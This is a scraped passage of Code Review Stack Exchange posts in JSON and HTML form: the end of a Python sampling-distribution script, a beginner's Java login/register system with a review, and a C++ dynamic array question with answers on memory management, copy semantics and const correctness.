print("Output is saved to the folder that contains this program.")
print("These text files are named 'xbarout.txt' and 'stdevout.txt'. " )
###print(" 'rangeout.txt', and 'rangeintervalout.txt'.")
printmeans=input("Do you want to print means (y/n)? ")
if printmeans=="y" or printmeans == "Y":
print("Sample Means")
print(" xbar", "prob", "cumprob")
for i in range(M):
print("{0:.3f}".format(means[i]),"{0:.4f}".format(MprobSums[i]),
"{0:.4f}".format(McumProbSums[i]) )
print(" = = = ")
printstdevs=input("Do you want to print standard deviations (y/n)? " )
if printstdevs=="y" or printstdevs == "Y":
print("Sample Standard Deviations")
print(" stdev", "prob", "cumprob")
for i in range(S):
print("{0:.3f}".format(stdevs[i]),"{0:.4f}".format(SprobSums[i]),
"{0:.4f}".format(ScumProbSums[i]) )
print(" = = = ")
##print("Sample Means")
import sys
orig_stdout = sys.stdout
f = open('xbarout.txt', 'w')
sys.stdout = f
print("xbar", "prob", "cumprob")
for i in range(M):
print("{0:.3f}".format(means[i]),"{0:.4f}".format(MprobSums[i]),
"{0:.4f}".format(McumProbSums[i]) )
sys.stdout = orig_stdout
f.close()
##print("Sample Standard Deviations")
#import sys
orig_stdout = sys.stdout
f = open('stdevout.txt', 'w')
sys.stdout = f
print(" stdev", "prob", "cumprob")
for i in range(S):
print("{0:.3f}".format(stdevs[i]),"{0:.4f}".format(SprobSums[i]),
"{0:.4f}".format(ScumProbSums[i]) )
sys.stdout = orig_stdout
f.close()
print("","\n")
##= = = = = = = = = = = = = = = = = = = = = = = = = = = =
#Plots
print("= = = = = = Plots Follow = = = = = = ")
plt.bar(valList,freqList)
plt.title("Population Relative Frequencies")
plt.xlabel("x")
plt.ylabel("Relative Frequency");
plt.show()
plt.bar(means, MprobSums, width = 1/M**(.8),align='center') ##The power can be changed
plt.title("Sample Mean (xbar) Probabilities, n = "+ str(n))
plt.xlabel("xbar")
plt.ylabel("prob");
plt.show()
plt.bar(x=stdevs, height=SprobSums,width= 1/S**(.8)) ##The power can be changed
plt.title("Sample Standard Deviation (s) Probabilities, n = "+ str(n))
plt.xlabel("s")
plt.ylabel("prob");
plt.show()
print("For this population with", N,
"distinct elements and a sample size of" ,n,":")
print(" ",C, "combinations,", M," means, ", S,"standard deviations result.")
#print(" ",R, "range lengths, and", E, "distinct ranges result.")
print("--- %s seconds ---" % (time.time() - start_time))
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T10:46:35.167",
"Id": "504124",
"Score": "0",
"body": "Regarding the code not being proprietary: note that by posting here, you are publishing your code under the [cc by-sa](https://stackoverflow.com/help/licensing). rev 2021.1.29.38441 license, as can be found at the bottom of this site or in the [help center](https://codereview.stackexchange.com/help/licensing). You also implicitly assert that you are allowed to do so (which is not a problem here since this seems to be your code, but can be problematic if it is code you encounter during your work time)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T22:32:07.037",
"Id": "504187",
"Score": "1",
"body": "Thanks. It's my code, and I'm retired so no issue regarding work time."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T21:53:11.190",
"Id": "255477",
"Score": "3",
"Tags": [
"python",
"performance",
"statistics"
],
"Title": "Sampling distribution of the sample mean"
}
|
255477
|
<p>I'm trying to get better at java by testing myself with different small projects as opposed to reading about them in a book. I've made a simple login/register system to try get my head around inheritance and abstract classes. All my code is below. Feel free to critique the code and tell me what you would do better. My reason for doing this is I just want to see how other people would approach this sort of project and hopefully I'll learn something.</p>
<p>//RegLogSysDriver.java</p>
<pre><code>public class RegLogSysDriver {
public static void main(String[] args) {
RegLogSystem system = new RegLogSystem();
system.run();
}
}
</code></pre>
<p>//RegLogSystem.java</p>
<pre><code>import java.util.Scanner;
public class RegLogSystem {
//Instance variables
Scanner input = new Scanner(System.in);
String regOrLogInput;
String name, dateOfBirth, email, password;
//Methods
public void run() {
boolean keepGoing = true;
while(keepGoing==true) {
System.out.println("Do you wish to (l)ogin or (r)egister");
regOrLogInput = input.nextLine();
if(regOrLogInput.contentEquals("l")) {
System.out.println("Enter email:\n");
email = input.nextLine();
System.out.println("Enter password:\n");
password = input.nextLine();
LoginForm lForm = new LoginForm(email, password);
lForm.executeForm();
}else if(regOrLogInput.contentEquals("r")) {
System.out.println("Enter name:\n");
name = input.nextLine();
System.out.println("Enter date of birth e.g. (03/04/2000):\n");
dateOfBirth = input.nextLine();
System.out.println("Enter email:\n");
email = input.nextLine();
System.out.println("Enter password:\n");
password = input.nextLine();
RegisterForm rForm = new RegisterForm(name, dateOfBirth, email, password);
rForm.executeForm();
}
System.out.println("Do you wish to shutdown the system, (y)es or (n)o?");
String inputText = input.nextLine();
if(inputText.contentEquals("y")) {
keepGoing = false;
}
}
}
}
</code></pre>
<p>//LoginForm.java</p>
<pre><code>public class LoginForm extends Form{
public LoginForm(String email, String password) {
super(email, password);
}
@Override
public void executeForm() {
if(getDataBase().isUserRegistered(getEmail(), getPassword())) {
User newUser = getDataBase().getUser(getEmail(), getPassword());
WelcomePage welPage = new WelcomePage(newUser);
welPage.outputMessage();
welPage.logoutMessage();
}else {
//put error handling here in time.
System.out.println("User is not registered");
}
}
}
</code></pre>
<p>//RegisterForm.java</p>
<pre><code>public class RegisterForm extends Form{
private String name;
private String dateOfBirth;
public RegisterForm(String name, String dateOfBirth, String email, String password) {
super(email, password);
this.name = name;
this.dateOfBirth = dateOfBirth;
}
public String getName() {
return this.name;
}
public String getDateOfBirth() {
return this.dateOfBirth;
}
@Override
public void executeForm() {
User newUser = new User(getName(), getDateOfBirth(), getEmail(), getPassword());
getDataBase().addUserToDatabase(newUser);
WelcomePage welPage = new WelcomePage(newUser);
welPage.outputMessage();
welPage.logoutMessage();
}
}
</code></pre>
<p>//Form.java</p>
<pre><code>public abstract class Form {
private String emailEntry;
private String passwordEntry;
private Database dataBase;
protected Form(String emailEntry, String passwordEntry) {
this.dataBase = new Database();//both forms are going to need access to the same database
this.emailEntry = emailEntry;
this.passwordEntry = passwordEntry;
}
public String getEmail() {
return this.emailEntry;
}
public String getPassword() {
return this.passwordEntry;
}
public Database getDataBase() {
return this.dataBase;
}
public abstract void executeForm();
}
</code></pre>
<p>//User.java</p>
<pre><code>public class User {
private String name;
private String dateOfBirth;
private String email;
private String password;
public User(String name, String dateOfBirth, String email, String password) {
this.name = name;
this.dateOfBirth = dateOfBirth;
this.email = email;
this.password = password;
}
public User() {
}
public String getEmail() {
return this.email;
}
public String getPassword() {
return this.password;
}
public String getName() {
return this.name;
}
public String getDateOfBirth() {
return this.dateOfBirth;
}
}
</code></pre>
<p>//Database.java</p>
<pre><code>import java.util.ArrayList;
public class Database {
private static ArrayList<User> dataBase = new ArrayList<User>();
static {
dataBase.add(new User("Tom", "12/02/09", "t@gmail.com", "pass"));
dataBase.add(new User("Bryan", "01/01/01", "b@gmail.com", "password"));
dataBase.add(new User("Tarence", "15/22/20", "tt@gmail.com", "passwordismypassword"));
}
public boolean isUserRegistered(String email, String password) {
boolean returnVal = false;
for(User regedUser : dataBase) {
if(regedUser.getEmail().contentEquals(email)&&regedUser.getPassword().contentEquals(password)) {
returnVal = true;
}
}
return returnVal;
}
public User getUser(String email, String password) {
User returnVal = new User();
for(User regedUser : dataBase) {
if(regedUser.getEmail().contentEquals(email)&&regedUser.getPassword().contentEquals(password)) {
returnVal = regedUser;
}
}
return returnVal;
}
public void addUserToDatabase(User newUser) {
dataBase.add(newUser);
}
}
</code></pre>
<p>//WelcomePage.java</p>
<pre><code>import java.util.Scanner;
public class WelcomePage {
private User loggedInUser;
private Scanner input = new Scanner(System.in);
public WelcomePage(User loggingInUser) {
this.loggedInUser = loggingInUser;
}
public void outputMessage() {
System.out.println("Hi "+loggedInUser.getName());
}
public void logoutMessage() {
boolean keepGoing = true;
while(keepGoing==true) {
System.out.println("Do you wish to logout, (y)es or (n)o");
String inputText = input.nextLine();
if(inputText.contentEquals("y")) {
keepGoing=false;
}
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T22:46:14.097",
"Id": "504083",
"Score": "1",
"body": "Well done for your first question here. :) Since you want to get familiar with abstract classes and inheritance, I am assuming that you don't know any other object-oriented programming languages. If there's anything more that you want to tell us about your current state of programming knowledge, feel free to [edit] the question, so we as reviewers can focus better."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T18:14:01.957",
"Id": "504169",
"Score": "0",
"body": "Thanks, you're right in thinking I don't know any other OO programming languages at least not very well. Anything about the code at all that you think I could do better would be appreciated. Doesn't matter if it's a little out of my depth as of yet. I'll learn about it."
}
] |
[
{
"body": "<p>Looks good so far! Here are a couple of things I noticed or that I would change, in no particular order.</p>\n<h3><code>contentEquals()</code></h3>\n<p>This is used for comparison with a <code>StringBuffer</code> or <code>StringBuilder</code>. It's overkill in you case, it's better to use <code>equals()</code> or <code>equalsIgnoreCase()</code>.</p>\n<h3>Loops</h3>\n<p>A lot of the time you did something like this</p>\n<pre><code> boolean keepGoing = true;\n while(keepGoing==true) {\n ...\n if( ... ) {\n keepGoing=false;\n }\n }\n</code></pre>\n<p>Comparing to <code>true</code> or <code>false</code> isn't needed. If the variable is named well, this is more readable than the comparison.</p>\n<pre><code> boolean keepGoing = true;\n while(keepGoing) {\n ...\n if( ... ) {\n keepGoing=false;\n }\n }\n</code></pre>\n<p>You could also just loop forever and then <code>break</code> out of the loop.</p>\n<pre><code> while(true) {\n ...\n if( ... ) {\n break;\n }\n }\n</code></pre>\n<h3>Static block</h3>\n<p>I didn't know about this, thanks! However, if loading the database takes a bit longer this causes a weird delay for the first user to login/register as the static block is executed when the class is first loaded and not on program start. I wouldn't change it for now but if this becomes a problem, you can always change the block to a static method and call that on program start, somewhere before <code>run</code>ning the <code>RegLogSystem</code>.</p>\n<h3><code>Database</code> class usage</h3>\n<p>The way this is implemented works, but making a new <code>Database</code> object for every form isn't really needed. Instead, you can make everything in the <code>Database</code> class static and just do <code>Database.isUserRegistered(...)</code> instead of <code>getDatabase().isUserRegistered(...)</code>.</p>\n<h3><code>isUserRegistered()</code> and <code>getUser()</code></h3>\n<p>Both methods can return as soon as they find a user that has that password and email. This way we save not only a variable but also the empty <code>User</code> constructor (this could also have been initialized with <code>null</code> instead of an invalid user objectx). By doing it like this we also don't always loop over the entire Database, saving some time.</p>\n<pre><code> public boolean isUserRegistered(String email, String password) {\n for (User regedUser : dataBase) {\n if (regedUser.getEmail().contentEquals(email) && regedUser.getPassword().contentEquals(password)) {\n return true\n }\n }\n return false;\n }\n</code></pre>\n<pre><code> public User getUser(String email, String password) {\n for (User regedUser : dataBase) {\n if (regedUser.getEmail().contentEquals(email) && regedUser.getPassword().contentEquals(password)) {\n return regedUser;\n }\n }\n return null;\n }\n</code></pre>\n<p>You might want to watch out for the null value (or the empty user) if you decide to call <code>getUser()</code> without calling <code>isUserRegistered()</code> beforehand.</p>\n<p>The long if-condition could also be extracted into a method of the <code>User</code> class to improve readability like this:</p>\n<pre><code> public boolean checkLoginCreds(String email, String password) {\n return this.getEmail().equals(email) && this.getPassword().equals(password);\n }\n</code></pre>\n<p>Use like so:\n<code>if (regedUser.checkLoginCreds(email, password)) ...</code></p>\n<h3><code>RegLogSystem</code></h3>\n<p>The instance variables shouldn't be public, from what I can see these don't need to be instance variables but could just be declared at the top of the <code>run()</code> method as vars internal to the function.</p>\n<p>Just as an idea, couldn't this class also extend <code>Form</code>? Haven't tried it, but seeing how each form represents a "state", this could work out nicely.</p>\n<p>Another idea would be to move the inputting into the <code>Form</code>s so that each one only handles its own inputs and nothing more, cleaning up the <code>RegLogSystem</code>. Perhaps you could even add an abstract method to the <code>Form</code> class for that.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-19T14:29:25.030",
"Id": "505806",
"Score": "0",
"body": "Thanks for the really in depth answer. I had a glimpse through it there and you've touched on some really good points. Looking forward to finish reading it later."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-19T14:01:06.310",
"Id": "256228",
"ParentId": "255478",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "256228",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T22:26:13.153",
"Id": "255478",
"Score": "5",
"Tags": [
"java"
],
"Title": "Login/Register System"
}
|
255478
|
<p>As a C++ beginner coming from Java, I have become increasingly confused on the topic of memory management and how to avoid memory leaks. Is the code below risking a memory leak that I'm not currently aware of? Any help or constructive feedback would be greatly appreciated.</p>
<pre class="lang-cpp prettyprint-override"><code>#pragma once
template <class T>
class DynamicArray {
private:
T *m_arr;
int m_length; //amount of elements currently being stored in the array
int m_capacity; //actual size of the array
public:
DynamicArray();
~DynamicArray();
T get(int index); //O(1)
void add(T obj); //no need to push any objects forward, O(1)
void insert(int index, T obj); //pushes forward all objects in front of the given index, then sets the obj at the given index, O(n)
void set(int index, T obj); //sets the given index of m_arr as obj, O(1)
void remove(int index); //removes the object at the given index and pushes all the array contents back, O(n)
int size(); //O(1)
void print();
};
</code></pre>
<pre class="lang-cpp prettyprint-override"><code>#include <iostream>
#include "Header.h"
template<class T>
DynamicArray<T>::DynamicArray() : m_arr(new T[1]), m_length(0), m_capacity(1) {}
template<class T>
DynamicArray<T>::~DynamicArray() {
delete[] m_arr;
}
template<class T>
T DynamicArray<T>::get(int index) {
if (index < m_length && index >= 0)
return m_arr[index];
else throw ("Index out of bounds!");
}
template<class T>
void DynamicArray<T>::set(int index, T obj) {
if (index < m_length && index >= 0) {
m_arr[index] = obj;
} else throw ("Index out of bounds!");
}
template<class T>
void DynamicArray<T>::add(T obj) {
if (m_length == m_capacity) {
T *new_arr = new T[m_length * 2];
for (int i = 0; i < m_length; i++) {
new_arr[i] = m_arr[i];
}
delete[] m_arr;
m_arr = new_arr;
m_capacity = m_capacity * 2;
}
m_arr[m_length] = obj;
m_length++;
}
template<class T>
void DynamicArray<T>::insert(int index, T obj) {
if (index < m_length && index >= 0) {
int size;
if (m_length == m_capacity) size = m_length * 2;
else size = m_capacity;
T *new_arr = new T[size];
for (int i = 0, j = 0; i < m_length; i++, j++) {
if (i == index) {
new_arr[j] = obj;
j++;
}
new_arr[j] = m_arr[i];
}
delete[] m_arr;
m_arr = new_arr;
m_capacity = m_capacity * 2;
m_length++;
} else throw ("Index out of bounds!");
}
template<class T>
void DynamicArray<T>::remove(int index) {
if (index < m_length && index >= 0) {
T *new_arr = new T[m_capacity];
for (int i = 0, j = 0; i < m_length; i++, j++) {
if (i == index) i++;
if(i < m_length) new_arr[j] = m_arr[i];
}
delete[] m_arr;
m_arr = new_arr;
m_capacity = m_capacity * 2;
m_length--;
} else throw ("Index out of bounds!");
}
template<class T>
int DynamicArray<T>::size() {
return m_length;
}
template<class T>
void DynamicArray<T>::print() {
std::cout << m_arr[0];
for (int i = 1; i < m_length; i++) {
std::cout << ", " << m_arr[i];
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T16:10:44.960",
"Id": "504162",
"Score": "2",
"body": "Please do not update the code in your question after receiving answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T16:42:16.130",
"Id": "504164",
"Score": "10",
"body": "If you're relatively new to C++, why are you messing with things like this instead of using `std::vector`? Implementing `vector` well, is a fairly non-trivial task even for people with a lot of experience."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T16:46:06.670",
"Id": "504165",
"Score": "1",
"body": "@JerryCoffin I thought it would be more useful as a beginner to create the vector class myself so that I understand it better."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T21:20:53.123",
"Id": "504179",
"Score": "5",
"body": "Not at all. Practical programming in C++ doesn't require any of these skills, any more than you need to understand how to build a garbage collector when you are programming in Java. You are probably just getting confused because so many people wrongly teach C++ as if it were C, where you *do* need these skills."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T09:06:03.950",
"Id": "504225",
"Score": "3",
"body": "Do note that you are using templates, and you will have problems if you try linking against your code. Templated code should be header-only (recommended, de-facto standard), or you should include your source file in your header. See [this](https://www.codeproject.com/Articles/48575/How-to-Define-a-Template-Class-in-a-h-File-and-Imp) for more info"
}
] |
[
{
"body": "<p>Welcome to C++, and welcome to Code Review.</p>\n<p>C++ memory management is, as you probably have realized, tough and\nerror-prone. There are many things that can easily go wrong.\nAssuming that no exception is thrown, I don't see obvious memory leaks\nin your code; however, there are still some issues worth discussing.</p>\n<p>You can take a look at <a href=\"https://codereview.stackexchange.com/q/221719/188857\">my implementation of a non-resizable dynamic\narray</a> or <a href=\"https://codereview.stackexchange.com/q/226757/188857\">a stack-based full-fledged vector</a> for some\ninspiration.</p>\n<h1>Special member functions</h1>\n<p>You have not defined copy constructors or move constructors, so the\ncompiler will synthesize corresponding constructors that simply copy\nall the members — which is completely wrong, as now the two\ndynamic arrays will point to the same memory. Not only are the\nelements shared between the copies, causing modifications to one array\nto affect the other, but the two copies will attempt to free the same\nmemory upon destruction, leading to a <em>double-free error</em>, which is\nway more serious than a memory leak.</p>\n<h1>Initialization semantics</h1>\n<p>It is generally expected that the constructor of the element type is\ncalled <span class=\"math-container\">\\$n\\$</span> times if <span class=\"math-container\">\\$n\\$</span> elements are pushed into the dynamic\narray. In your code, however, this is not the case, whre the amount\nof constructors called is determined by the capacity of the dynamic\narray. Elements are first default initialized, and then copy-assigned\nto.</p>\n<p>The correct way to solve this problem requires allocating an\nuninitialized buffer, and using placement new (or equivalent features)\nto construct the elements, which is another can of worms.</p>\n<h1>Exception safety</h1>\n<p>Think of what happens when the construction of an element throws an\nexception — your code will halt halfway, and there will be a\nmemory leak. Resolving this problem would require a manual <code>try</code>\nblock, or standard library facilities like\n<a href=\"https://en.cppreference.com/w/cpp/memory/uninitialized_copy\" rel=\"noreferrer\"><code>std::uninitialized_copy</code></a> (which essentially do the same under\nthe hood) if you switched to uninitialized buffers and manual\nconstruction.</p>\n<h1>Move semantics</h1>\n<p>All of the elements are copied every time, which is wasteful. Make\ngood use of <a href=\"https://stackoverflow.com/q/3106110\">move semantics</a> when appropriate.</p>\n<h1>Miscellaneous</h1>\n<p>Used <code>std::size_t</code> instead of <code>int</code> to store sizes and indexes.<sup>1</sup></p>\n<p><code>get</code>, <code>size</code>, and <code>print</code> should be <code>const</code>. Moreover, <code>get</code> should\nreturn a <code>const T&</code>. In fact, <code>get</code> and <code>set</code> would idiomatically be\nreplaced by <code>operator[]</code>.</p>\n<p>Don't throw a <code>const char*</code>. Use a dedicated exception class like\n<a href=\"https://en.cppreference.com/w/cpp/error/out_of_range\" rel=\"noreferrer\"><code>std::out_of_range</code></a> instead.</p>\n<p>Manual loops like</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>for (int i = 0; i < m_length; i++) {\n new_arr[i] = m_arr[i];\n}\n</code></pre>\n<p>are better replaced with calls to <a href=\"https://en.cppreference.com/w/cpp/algorithm/copy\" rel=\"noreferrer\"><code>std::copy</code></a> (or\n<a href=\"https://en.cppreference.com/w/cpp/algorithm/move\" rel=\"noreferrer\"><code>std::move</code></a>).</p>\n<p>Re-allocating every time <code>insert</code> is called doesn't seem like a good\nidea. A better trade-off might be to append an element and then\n<a href=\"https://en.cppreference.com/w/cpp/algorithm/rotate\" rel=\"noreferrer\"><code>std::rotate</code></a> it to the correct position (assuming rotation\ndoesn't throw).</p>\n<p>Also, <code>print</code> might take an <code>std::ostream&</code> (or perhaps\n<code>std::basic_ostream<Char, Traits>&</code>) argument for extra flexibility.</p>\n<hr />\n<p><sup>1</sup> As Andreas H. pointed out in the <a href=\"https://codereview.stackexchange.com/questions/255480/c-dynamic-array-implementation/255487?noredirect=1#comment504220_255487\">comments</a>, this recommendation is subject to debate, since the use of unsigned arithmetic has its pitfalls. An alternative is to use <code>std::ptrdiff_t</code> and <a href=\"https://en.cppreference.com/w/cpp/iterator/size\" rel=\"noreferrer\"><code>std::ssize</code></a> (C++20) instead. You can write your own version of <code>ssize</code> as shown on the cppreference page if C++20 is not accessible.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T08:17:31.940",
"Id": "504220",
"Score": "1",
"body": "I agree with everything, but the unsigned `size_t` for index and size needs a bit more attention. Any operation where index arithmetic is to be performed is going to fail very easily. Think of a convolution loop:\n`for (size_t n = 0; n < a.size()+b.size(); n++) {\nout[n] = 0;\nfor (size_t m = std::max(0U, a.size()-1-n); m < std::min(b.size(), n-1); m++)\nout[n] += a[n - m]*b[m];\n}`\nThe `min` and `max` expressions are there to prevent out-of-bounds access for arrays `a` and `b`. But they dont. The code will in allmost all cases produce a segfault. There is no compiler warning,"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T08:20:39.893",
"Id": "504221",
"Score": "0",
"body": "TL/DR: I know the standard library uses unsigned for index and size_t, but given the arithmetic rules in C & C++ it is, except for the simple cases, error-prone and actually wrong to use an unsigned `index` when working with containers. So it is perhaps better to use a signed type for index and also `size()` in the first place (the latter because otherwise you always get a unsigned/signed comparison warning)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T09:02:23.453",
"Id": "504224",
"Score": "0",
"body": "@AndreasH. I understand your sentiment about the use of unsigned numbers - integral arithmetic in C++ has never been satisfactory. I personally choose to follow the precedent set by the standard library and use unsigned arithmetic to keep consistency and reduce complications due to signedness conversion, as I suppose many would do, so I recommended `size_t`, but the wrapping semantics does require special treatment, and signed arithmetic is indeed necessary in many scenarios involving negative numbers. The alternative, of course, is to consistently use `ptrdiff_t` and `ssize` instead."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T09:08:36.333",
"Id": "504226",
"Score": "1",
"body": "@AndreasH. I edited the answer to reflect our discussion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T09:10:25.073",
"Id": "504227",
"Score": "2",
"body": "I just found: https://github.com/ericniebler/stl2/issues/182#issuecomment-287683189 There is a link to a video of a panel discussion where a few \"C++ gurus\" argue that using unsigned size types was a misktake in STL in the first place. I am not saying your answer is wrong, I just think the unexplained recommendation to follow the precedent can be dangerous. Otherwise good answer."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T03:40:26.220",
"Id": "255487",
"ParentId": "255480",
"Score": "15"
}
},
{
"body": "<ul>\n<li><p><code>delete</code> looks strange. There is no reason to create <code>new_arr</code>. Everything can (and should) be done in place. BTW, <code>m_capacity = m_capacity * 2;</code> there is just wrong (I suspect a copy-paste from <code>insert</code>).</p>\n</li>\n<li><p><code>if</code> in a tight loop incurs a strong performance penalty. Consider breaking the insertion loop into two:</p>\n<pre><code> for (int i = 0,; i < index; i++) {\n new_arr[i] = arr[i];\n }\n\n new_arr[index] = obj;\n\n for (int i = index; i < m_length; i++) {\n new_arr[index + 1] = arr[index];\n }\n</code></pre>\n</li>\n<li><p>Which brings us to the next point: no naked loops. Two loops above copy ranges. Factor them into a function:</p>\n<pre><code> copy_range(new_arr, arr, index);\n new_arr[index] = obj;\n copy_range(new_arr + index + 1, arr + index, m_length - index);\n</code></pre>\n<p>Idiomatically, <code>copy_range</code> better be expressed in tems of iterators rather then indices.</p>\n</li>\n<li><p>Consider shrinking the array after too many removals.</p>\n</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T07:25:24.943",
"Id": "255492",
"ParentId": "255480",
"Score": "8"
}
},
{
"body": "<h3>Const Correctness</h3>\n<p>A member function that doesn't modify the underlying object should normally be a <code>const</code> member function. For example:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> T get(int index); //O(1)\n</code></pre>\n<p>This doesn't modify the contents of the <code>DynamicArray</code>, and returns the element by value (not reference) so client code can't get access to the <code>DynamicArray</code>'s internal data to modify it either. As such, this should almost certainly be a <code>const</code> member function:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> T get(int index) const;\n</code></pre>\n<h3>Avoiding Unnecessary Copying</h3>\n<p>Right now your <code>add</code>, <code>insert</code> and <code>set</code> member functions all accept <code>T</code> objects by value.</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>void add(T obj);\nvoid insert(int index, T obj);\nvoid set(int index, T obj);\n</code></pre>\n<p>This means that when you're adding/inserting/setting an element in the <code>DynamicArray</code>, you're starting with one copy of the object in the client code, then copying that object to pass as an argument, then doing a copy assignment to put it into the array. For types that are "cheap" to copy (e.g., <code>int</code>) that's fine, but for types that are expensive to copy (e.g., if somebody creates a <code>DynamicArray<DynamicArray<int>></code> where each sub-array is several megabytes of data) this would get extremely slow.</p>\n<p>To avoid (at least some of) that copying, you can pass the input by reference instead:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>void add(T const &obj);\nvoid insert(int index, T const &obj);\nvoid set(int index, T const &obj);\n</code></pre>\n<p>This avoids creating the copy solely for argument passing, so you end up with only two instances of the object: one in the client code and one in the array itself, but not an extra one being passed as the parameter.</p>\n<p>Using a reference to a <code>const</code> object allows the reference to refer to a temporary object. For example, assume I have some <code>Complex</code> type that represents a complex number. If I have an expression like <code>myComplex + yourComplex</code>, that will create a temporary object. A reference to a <code>const</code> object can refer to that temporary (but without the <code>const</code> qualifier it can't).</p>\n<h3>Rule of 0/3/5</h3>\n<p>In C++, there's kind of a general rule that if you need to implement any of assignment, copy construction, and destruction, you probably need to implement all three to get a class that manages its resources correctly.</p>\n<p>You have a destructor, and yes, you really need to do something to deal with copy construction and copy assignment. For example, if you create a copy of a DynamicArray:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> DynamicArray<int> foo;\n DynamicArray<int> bar = foo;\n</code></pre>\n<p>...the result tends to be on the ugly side (e.g., typically a core dump).</p>\n<p>So you generally want to either implement (at least) copy construction and copy assignment, or else prevent code that tries to do it from compiling, usually with something like this:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> DynamicArray(DynamicArray const &) = delete;\n DynamicArray &operator=(DynamicArray const &) = delete;\n</code></pre>\n<p>Although it's not necessary to get correct (non-crashing) behavior, you may want to support move construction and move assignment as well:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> DynamicArray(DynamicArray &&) = delete;\n DynamicArray &operator=(DynamicArray &&) = delete;\n</code></pre>\n<p>So the rule of three covers destruction, copy construction and copy assignment. Adding move assignment and move construction gives the rule of 5.</p>\n<p>That leaves the rule of 0: don't do any of this. In many cases you can use something like an <code>std::unique_ptr</code> to automate handling of the copying/assignment/destruction, so your class doesn't need to do any of the above.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T18:45:35.930",
"Id": "504170",
"Score": "0",
"body": "Could you elaborate on how I would use `std::unique_ptr` in this context? I mostly understand how smart pointers work, but not the practical usage of them."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T19:10:43.280",
"Id": "504172",
"Score": "0",
"body": "@ethanwarco: In this case, it's not clear to me that a `unique_ptr` actually would work at all well (that's why I only mentioned it in passing, but maybe I should have been more explicit). In a typical case, using a `std::unique_ptr` to your data will result in a type that can be moved but not copied, and in this case, I'd guess you probably want to allow copying."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T19:23:01.820",
"Id": "504173",
"Score": "0",
"body": "@JerryCoffin, you can allow copying on a type that includes a `unique_ptr`, you just have to implement the copy constructor yourself, which you have to do in this case anyway."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T21:15:28.647",
"Id": "504177",
"Score": "0",
"body": "@JanHudec: Yes, you can--but in a case like this, I think you probably lose about as much as you gain."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T06:06:06.447",
"Id": "504208",
"Score": "0",
"body": "@JerryCoffin, what would you lose? A `unique_ptr` would guard you from a bunch of mistakes, take care of all deleting and some exception safety and you'd only have to be careful with swapping it when reallocating."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T06:28:44.037",
"Id": "504209",
"Score": "0",
"body": "@JerryCoffin, of course `unique_ptr` would stop doing most of it if the extraneous initialization was fixed (that is allocate as plain `char` array and construct with placement-`new` or use `std::allocator`), but as long as the array is initialized, it is useful—just be careful to use `std::unique_ptr<T[]>` so it calls the correct `delete[]`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T07:34:45.457",
"Id": "504214",
"Score": "0",
"body": "@JanHudec: Basically, it saves you a `delete` in the dtor, but in exchange for that you have to do a `reset` when you reallocate. About the only place exception safety enters the picture is during reallocation, and there you have to be pretty careful either way."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T10:17:51.417",
"Id": "504240",
"Score": "0",
"body": "@JerryCoffin, assignment is `reset` for `unique_ptr`, but I'd actually do a `swap` in reallocation, which would provide the exception safety there. The real problem is that it's not usable with uninitialized buffers though, so a proper implementation of `vector` can't use it"
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T18:23:10.927",
"Id": "255516",
"ParentId": "255480",
"Score": "6"
}
},
{
